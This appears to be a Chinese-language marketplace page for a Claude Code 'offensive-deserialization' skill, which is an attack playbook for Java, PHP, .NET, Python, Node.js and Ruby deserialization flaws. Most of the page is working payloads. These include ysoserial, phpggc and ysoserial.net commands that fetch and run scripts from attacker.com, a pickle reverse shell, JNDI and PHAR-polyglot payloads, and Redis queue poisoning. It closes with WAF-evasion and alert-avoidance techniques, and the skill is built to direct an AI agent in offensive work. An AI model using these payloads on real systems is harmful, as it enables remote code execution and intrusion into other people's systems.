mcpField
O
offensive-deserialization

offensive-deserialization

github.com/snailsploit安全9.7k146 次安装2 周前更新
代码仓库

关于 offensive-deserialization

面向授权安全测试的反序列化漏洞评估技能,覆盖多种语言与数据格式。内容从入口和格式识别延伸到安全验证及结果记录。

主要功能

  1. 01发现反序列化入口
  2. 02识别序列化格式
  3. 03按语言提供 Gadget 指引
  4. 04安全验证代码执行
  5. 05记录完整攻击链

适用场景

  1. 01审查序列化 Cookie 和请求体
  2. 02评估消息队列及文件上传处理
  3. 03测试旧版 .NET 或 Python 应用

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-deserialization

安装后在 Claude Code 中输入/offensive-deserialization确认已加载。

详细介绍

攻击性反序列化

当应用在未验证数据类型、完整性或来源的情况下,根据序列化的字节流重建对象时,就会产生反序列化漏洞。对象重建会触发构造函数、终结器和语言特定的魔术方法,因此攻击者一旦控制序列化输入,往往能在任何应用层验证运行之前实现远程代码执行。

快速工作流

  1. 枚举所有接受不透明二进制数据或编码数据的入口点——Cookie、HTTP 请求体、标头、消息队列消息、文件上传、GraphQL 自定义标量、gRPC 字段、JMX/RMI 端点。
  2. 通过魔数、内容类型标头和错误行为识别序列化格式(参见“识别特征”)。
  3. 根据错误页面、HTTP 标头或源代码确定服务端语言和框架版本。
  4. 选择与目标类路径或已安装软件包匹配的候选 gadget 链。使用 ysoserial、phpggc、ysoserial.net 生成载荷,或手动构造。
  5. 通过已识别的入口点发送载荷。先使用仅触发 DNS 查询或基于 sleep 的验证方式,在不造成破坏性副作用的情况下确认代码执行。
  6. 在获得授权后,将概念验证升级为符合测试目标的操作。
  7. 记录完整攻击链:入口点、格式、gadget 链、库版本、验证证据。

识别特征

格式特征备注
Java ObjectInputStream十六进制 ac ed 00 05,Base64 rO0ABCookie、POST 请求体、JMX/RMI 流
PHP serializeO:<len>:"ClassName": 或 a:<count>:{常以 Base64 编码后封装在 Cookie 中
.NET BinaryFormatterBase64 AAEAAAD/////ViewState、远程处理、会话状态
Python pickle操作码 \x80\x04\x95(v4+),较旧版本为 (dp0 文本Redis 缓存、Celery 任务、ML 管道
Ruby Marshal开头字节为 \x04\x08较旧 Rails 应用中的会话 Cookie
YAML(任意语言)--- !ruby/object: 或 !!python/object/apply:基于标签实例化
Java XMLDecoder<?xml,且包含 <java> 或 <object class=旧版 Java 管理面板
.NET Json.NETJSON 中的 "$type": 键TypeNameHandling != None
Java Jackson["class.name", { JSON 数组包装器enableDefaultTyping / 多态处理

Java 反序列化

ObjectInputStream.readObject() 会实例化类路径中存在的任意类。数十年来积累的大量库代码提供了可用的 gadget 链。

识别接收点
// Direct ObjectInputStream usage
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();

// XMLDecoder -- equally dangerous, often overlooked
XMLDecoder decoder = new XMLDecoder(inputStream);
Object obj = decoder.readObject();

// XStream without allowlist
XStream xstream = new XStream();
Object obj = xstream.fromXML(userInput);

// Jackson polymorphic typing -- CVE-2017-7525 and successors
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();

// Jackson @JsonTypeInfo on base class
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public abstract class BaseCommand { }

// JMX/RMI endpoints -- default port 1099, often unauthenticated
serialVersionUID 和类路径限制

每个可序列化的 Java 类都有一个 serialVersionUID。若其不匹配,就会在任何 gadget 逻辑执行之前触发 InvalidClassException。从错误消息或反编译后的 JAR 中提取服务端的 UID,然后使用 ysoserial 的源代码重新构建载荷。UID 往往只会在主要版本更新时发生变化,因此在不知道确切版本时,尝试常见版本是可行的。

ysoserial Gadget 链

选择与目标类路径中存在的库匹配的链。

# CommonsCollections -- most widely applicable
# CC1: commons-collections 3.1, JDK < 8u72
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/cb' > payload.bin
# CC5: later JDK versions where CC1 is patched
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/cb' > payload.bin
# CC7: Hashtable entry point, bypasses some ObjectInputFilter rules
java -jar ysoserial.jar CommonsCollections7 'id > /tmp/proof.txt' > payload.bin

# Spring chain -- requires spring-core + spring-beans
java -jar ysoserial.jar Spring1 'wget http://attacker.com/s.sh -O /tmp/s.sh' > payload.bin
# Hibernate chain -- requires hibernate-core
java -jar ysoserial.jar Hibernate1 'bash -c {echo,BASE64}|{base64,-d}|bash' > payload.bin
# CommonsBeanutils -- present in many apps via shaded dependencies
java -jar ysoserial.jar CommonsBeanutils1 'ping -c 3 attacker.com' > payload.bin

# URLDNS -- DNS lookup only, no RCE, safe for detection confirmation
java -jar ysoserial.jar URLDNS 'http://deser-confirm.attacker.com' > payload.bin

# JRMPClient -- redirect deser to attacker-controlled JRMP listener
java -jar ysoserial.jar JRMPClient 'attacker.com:1099' > payload.bin
# On attacker host, serve secondary payload via JRMP listener
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'id'
JMX/RMI 反序列化

JMX 和 RMI 注册表会通过网络接收序列化对象,并且经常在内部网络中暴露且未启用身份验证。

# Scan for RMI registries
nmap -sV -p 1099,1098,9010,9011 --script rmi-dumpregistry TARGET

# marshalsec: exploit RMI/JNDI
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \
  "http://attacker.com:8080/#ExploitClass" 1099
Jackson 多态类型处理

启用 enableDefaultTyping() 或 @JsonTypeInfo(use = Id.CLASS) 时,可以提供一个 JSON 数组,指定要实例化的类。

["com.sun.rowset.JdbcRowSetImpl",
 {"dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}]

Jackson 维护者会持续将类加入拒绝名单。请根据目标版本检查已知的绕过类:org.apache.ibatis.datasource.jndi.JndiDataSourceFactory、com.caucho.config.types.ResourceRef,以及类似的具备 JNDI 功能的 Bean。


PHP 反序列化

unserialize() 会实例化对象,并在重建期间调用魔术方法(__wakeup、__destruct、__toString)。phar:// 流包装器无需显式调用 unserialize() 即可触发反序列化。

识别接收点
// Direct unserialize
$obj = unserialize($userInput);

// phar:// wrapper -- any file operation on a phar:// path is a sink
file_exists("phar://uploads/avatar.jpg");
is_dir("phar://" . $userControlledPath);
// Triggering functions: file_exists, is_dir, is_file, file_get_contents,
// fopen, fileatime, filectime, filemtime, filesize, copy, rename, unlink,
// stat, lstat, getimagesize, exif_read_data, hash_file, md5_file, sha1_file
phpggc Gadget 链
phpggc -l  # List all available chains

# Laravel RCE -- PendingBroadcast + Dispatcher, works 5.5 through 9.x
phpggc Laravel/RCE1 system 'id' -b        # -b = base64
phpggc Laravel/RCE10 system 'cat /etc/passwd' -s  # -s = serialized

# Symfony RCE -- targets process component
phpggc Symfony/RCE4 exec 'curl http://attacker.com/s.sh|bash' -b
# Monolog RCE -- present in most Composer projects
phpggc Monolog/RCE1 system 'whoami' -b
# Guzzle / WordPress chains
phpggc Guzzle/RCE1 system 'id' -b
phpggc WordPress/RCE1 system 'id' -b

# PHAR output instead of raw serialized data
phpggc Laravel/RCE1 system 'id' -p phar -o exploit.phar
# PHAR polyglot disguised as JPEG
phpggc Laravel/RCE1 system 'id' -p phar -pp header.jpg -o exploit.jpg
phar:// 利用

phar:// 包装器会在任何文件操作时反序列化 PHAR 归档的元数据部分。危险调用点是文件函数,而不是 unserialize(),因此可以绕过许多审计。

// Build a malicious PHAR (php.ini: phar.readonly = 0)
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$object = new VulnerableClass();
$object->command = 'id';
$phar->setMetadata($object);
$phar->stopBuffering();

// Create a polyglot by prepending a JPEG header
$jpegHeader = file_get_contents('legitimate.jpg');
file_put_contents('exploit.jpg', $jpegHeader . file_get_contents('exploit.phar'));

将多态文件作为图像上传,然后触发引用 phar://uploads/exploit.jpg/test.txt 的文件操作。


.NET 反序列化

BinaryFormatter 是最危险的 .NET 序列化器。Microsoft 已正式弃用它,但旧版应用程序和内部工具仍在使用它。

识别危险调用点
// BinaryFormatter -- deprecated, always dangerous
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream);

// SoapFormatter / NetDataContractSerializer -- equally dangerous, less common

// LosFormatter -- used in ViewState
LosFormatter los = new LosFormatter();
object obj = los.Deserialize(viewStateString);

// Json.NET with TypeNameHandling != None
JsonConvert.DeserializeObject<object>(json, new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.All  // or Objects, Arrays, Auto
});
ysoserial.net 载荷
# TypeConfuseDelegate -- broad .NET coverage
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "ping attacker.com"
# WindowsIdentity -- when TypeConfuseDelegate is blocked
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "certutil -urlcache -split -f http://attacker.com/s.exe C:\Temp\s.exe"
# TextFormattingRunProperties -- targets WPF/XAML
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc.exe"
# PSObject -- PowerShell-specific
ysoserial.exe -g PSObject -f BinaryFormatter -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps.ps1')"
# Json.NET TypeNameHandling
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "cmd /c whoami > C:\proof.txt"
# Base64 output for ViewState or cookie injection
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping attacker.com" -o base64
ViewState 利用

ASP.NET ViewState 是一个序列化的隐藏表单字段。当 MAC 验证被禁用或已知计算机密钥时,你可以直接注入 gadget 链。

# If machine key is known (web.config disclosure, default keys):
ysoserial.exe -p ViewState \
  -g TextFormattingRunProperties \
  -c "powershell -enc BASE64CMD" \
  --validationalg="SHA1" \
  --validationkey="KNOWN_KEY" \
  --generator="GENERATOR_VALUE" \
  --path="/target/page.aspx" \
  --islegacy
Json.NET TypeNameHandling

当 TypeNameHandling 不为 None 时,$type 属性会控制实例化过程。

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib",
    "$values": ["cmd.exe", "/c whoami"]
  },
  "ObjectInstance": {"$type": "System.Diagnostics.Process, System"}
}

Python 反序列化

Python 的 pickle 会通过 __reduce__ 方法在反序列化期间执行任意代码。没有安全的方法可以反序列化不可信的 pickle 数据。

pickle RCE
import pickle, os, base64

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/callback',))

payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())

# Reverse shell variant
class ReverseShell:
    def __reduce__(self):
        return (os.system, (
            'python3 -c \'import socket,subprocess,os;'
            's=socket.socket();s.connect(("attacker.com",4444));'
            'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);'
            'os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'',))

# Chained multi-step payload
class ChainedExploit:
    def __reduce__(self):
        return (eval, ("__import__('os').system('wget http://attacker.com/i -O /tmp/i && chmod +x /tmp/i && /tmp/i')",))
yaml.load RCE

不使用安全加载器的 yaml.load() 允许实例化任意对象。

# Direct command execution
!!python/object/apply:os.system
- "curl http://attacker.com/callback"

# Subprocess with output
!!python/object/apply:subprocess.check_output
- ["id"]
# Find unsafe yaml.load in codebase
grep -rn "yaml\.load\s*(" --include="*.py" /path/to/codebase
其他 Python 攻击向量
import shelve   # Uses pickle internally -- RCE on shelve.open() of attacker-controlled .db
import marshal  # Code object injection via marshal.loads()
import jsonpickle  # Third-party, same risks as pickle via jsonpickle.decode()

Node.js 反序列化

node-serialize IIFE 模式

node-serialize 库使用 _$$ND_FUNC$$_ 标记序列化函数。 添加 () 会创建一个在反序列化期间执行的 IIFE。

// Trailing () causes immediate execution
{"role":"_$$ND_FUNC$$_function(){require('child_process').execSync('curl http://attacker.com/cb')}()"}

// Base64-wrapped to avoid character issues
{"p":"_$$ND_FUNC$$_function(){eval(Buffer.from('BASE64PAYLOAD','base64').toString())}()"}
funcster
// funcster deserializes via new Function() constructor
{"__js_function": "function(){return require('child_process').execSync('id').toString()}"}

在 Cookie、会话令牌和请求正文中查找 _$$ND_FUNC$$_ 和 __js_function。


Ruby 反序列化

Marshal.load 和 YAML.load 都会实例化任意对象,是 Rails 应用程序中常见的危险调用点。

Marshal.load Gadget
# Gem::Requirement chain (Ruby 2.x) / Gem::Installer (varies by version)
# ERB template execution chain
require 'erb'
class Exploit
  def initialize
    @template = "<%= `id` %>"
  end
end
payload = Marshal.dump(exploit_chain)
encoded = Base64.strict_encode64(payload)
YAML.load Gadget
--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::Package::TarReader
  io: &1 !ruby/object:Net::BufferedIO
    io: &1 !ruby/object:Gem::Package::TarReader::Entry
       read: 0
       header: "abc"
    debug_output: &1 !ruby/object:Net::WriteAdapter
       socket: &1 !ruby/object:Gem::RequestSet
           sets: !ruby/object:Net::WriteAdapter
               socket: !ruby/module 'Kernel'
               method_id: :system
           git_set: "curl http://attacker.com/callback"
       method_id: :resolve

5.2 之前的 Rails 会话 Cookie 使用经过签名但未加密的 Marshal 数据。使用 secret_key_base,你可以伪造包含 gadget 链的会话 Cookie。


现代攻击向量

Kubernetes 准入 Webhook

准入控制器会反序列化 AdmissionReview JSON。若 Webhook 将准入请求中的注释或标签值传递给不安全的反序列化器,就会形成集群级 RCE 攻击向量。

apiVersion: v1
kind: Pod
metadata:
  name: test-pod
  annotations:
    config-data: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH..."
spec:
  containers:
  - name: test
    image: nginx

载荷会在 Webhook 的上下文中执行,而 Webhook 通常拥有较高的集群权限。

消息队列消费者

从 Kafka、RabbitMQ、SQS 或 Redis 消费消息的应用程序通常会盲目反序列化消息载荷。获得生产者访问权限后,你就可以污染每个消费者。

import redis, pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/callback',))

r = redis.Redis(host='target-redis', port=6379)
r.lpush('celery', pickle.dumps({
    'body': pickle.dumps(Exploit()),
    'content-type': 'application/x-python-serialize',
}))
无服务器触发器

当事件源可由攻击者控制(例如,公开上传)时,反序列化来自 S3、SNS 或 SQS 的事件载荷的无服务器函数容易受到攻击。

def handler(event, context):
    obj = s3.get_object(Bucket=event['Records'][0]['s3']['bucket']['name'],
                        Key=event['Records'][0]['s3']['object']['key'])
    data = pickle.loads(obj['Body'].read())  # RCE if attacker uploads to bucket

规避技术

绕过 WAF 和过滤器
# Double Base64 -- changes byte pattern
cat payload.bin | base64 | base64 > double_encoded.txt

# Gzip before Base64 -- entirely different pattern
gzip -c payload.bin | base64 > compressed_payload.txt

# URL encoding
cat payload.bin | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.buffer.read()))"

# Unicode escaping for JSON payloads -- replace ASCII in $type with \uXXXX
# Parameter splitting -- some apps concatenate params before deserializing
操纵 Content-Type

切换传递格式以绕过针对特定格式的 WAF 规则:

POST /api/endpoint HTTP/1.1
Content-Type: application/x-java-serialized-object

[binary payload]
<?xml version="1.0"?>
<java class="java.beans.XMLDecoder">
  <object class="java.lang.Runtime" method="getRuntime">
    <void method="exec">
      <string>curl http://attacker.com/callback</string>
    </void>
  </object>
</java>
编码层

许多应用程序会应用多层编码。对载荷进行封装以匹配这些编码:

  1. 序列化 gadget 链。
  2. 使用已知或泄露的密钥加密(会话 Cookie、ViewState 计算机密钥)。
  3. 如果存在完整性检查,则应用 HMAC(需要签名密钥)。
  4. 进行 Base64 编码;如果通过查询参数传递,则再进行 URL 编码。

如果你没有密钥,可以查找框架文档中的默认密钥、通过路径遍历或 SSRF 泄露的密钥,或者使用填充预言攻击在没有密钥的情况下进行加密。


检测 / 防御方视角

了解防御方的检测方式,有助于构造可避开告警的载荷。

防御方匹配的网络特征:

  • HTTP 流量中的 Java 魔数 ac ed 00 05 / Base64 rO0AB
  • 表单字段或 Cookie 中的 .NET AAEAAAD/////
  • 请求参数中的 PHP O:\d+:"
  • JSON 请求体中的 $type 键(Json.NET)
  • Node.js Cookie 中的 _$$ND_FUNC$$_
  • YAML 输入中的 !!python/object 标签

你将遇到的运行时防御:

  • Java ObjectInputFilter(JEP 290)——类允许列表 / 拒绝列表。可使用完全在允许集合内运行的链绕过。
  • .NET SerializationBinder ——限制类型解析。可使用允许的命名空间中仍能实现执行的类型绕过。
  • PHP unserialize() 中的 allowed_classes ——限制实例化。可仅使用允许的类绕过,或通过未应用该参数的 phar:// 到达危险函数。
  • 针对序列化模式的 WAF 规则——可通过编码、压缩或切换内容类型绕过。
  • RASP ——对反序列化调用进行插桩。先使用 URLDNS 或休眠载荷测试,以评估覆盖范围。

攻击会生成的日志痕迹:

  • 服务器日志中的 ClassNotFoundException / ClassCastException(链执行失败)
  • 引用 ObjectInputStream、readObject、readResolve 的堆栈跟踪
  • 应用服务器发起的异常 DNS/HTTP 出站请求
  • JVM/解释器进程启动子进程

演练速查表

场景工具载荷验证
Java,Commons Collections 3.xysoserialCommonsCollections1-7先用 URLDNS
Java,未知类路径ysoserialURLDNS,然后基于错误枚举DNS 回连
PHP Laravel 5.x-9.xphpggcLaravel/RCE1-RCE10DNS 或休眠
PHP 文件上传 + 文件操作phpggc-p phar -pp header.jpg 多格式文件触发 phar://
.NET BinaryFormatterysoserial.netTypeConfuseDelegate进程或 DNS
.NET ViewState,已知密钥ysoserial.net使用密钥参数的 -p ViewState盲执行
.NET Json.NET TypeNameHandlingysoserial.netObjectDataProvider -f Json.Net文件写入或带外回连
Web 应用中的 Python pickle手动__reduce__ + os.systemCurl 回连
Python Celery/Redis手动将 Pickle 写入任务队列所有消费者均执行
Python yaml.load手动!!python/object/apply:os.system带外回连
Node.js node-serialize手动_$$ND_FUNC$$_function(){...}()反向 Shell
Rails Cookie 中的 Ruby Marshal手动Gem::Requirement + secret_key_base伪造会话 + RCE
K8s 准入 Webhookysoserial/手动Pod 注解中的载荷Webhook 回连

安全确认流程(始终从这里开始):

  1. 发送 URLDNS(Java)或 DNS 回连命令,确认是否发生反序列化。
  2. 发送休眠 / 延迟载荷,确认是否能执行代码且不产生网络出站流量。
  3. 升级至演练授权的目标。

关键参考资料

工具:

关键 CVE: CVE-2015-4852(WebLogic T3)、CVE-2017-7525(Jackson defaultTyping)、 CVE-2017-9805(Struts 2 XStream)、CVE-2018-1000861(Jenkins Stapler)、 CVE-2019-2725(WebLogic XMLDecoder)、CVE-2019-6340(Drupal REST)、 CVE-2019-18935(Telerik UI .NET)、CVE-2020-9484(Tomcat 会话持久化)、 CVE-2020-36188(通过 JNDI 实现 Jackson SSRF)、CVE-2021-21978(VMware View Planner)、 CVE-2023-34362(MOVEit Transfer)、CVE-2023-46604(ActiveMQ RCE)

研究资料: 《Marshalling Pickles》(Frohoff/Lawrence,AppSecCali 2015)、《Friday the 13th: JSON Attacks》(Munoz/Mirosh,BlackHat 2017)、《Are You My Type?》(Munoz/Mirosh,.NET 序列化器)、OWASP 反序列化备忘单、PortSwigger 不安全反序列化。

评论

支持 Markdown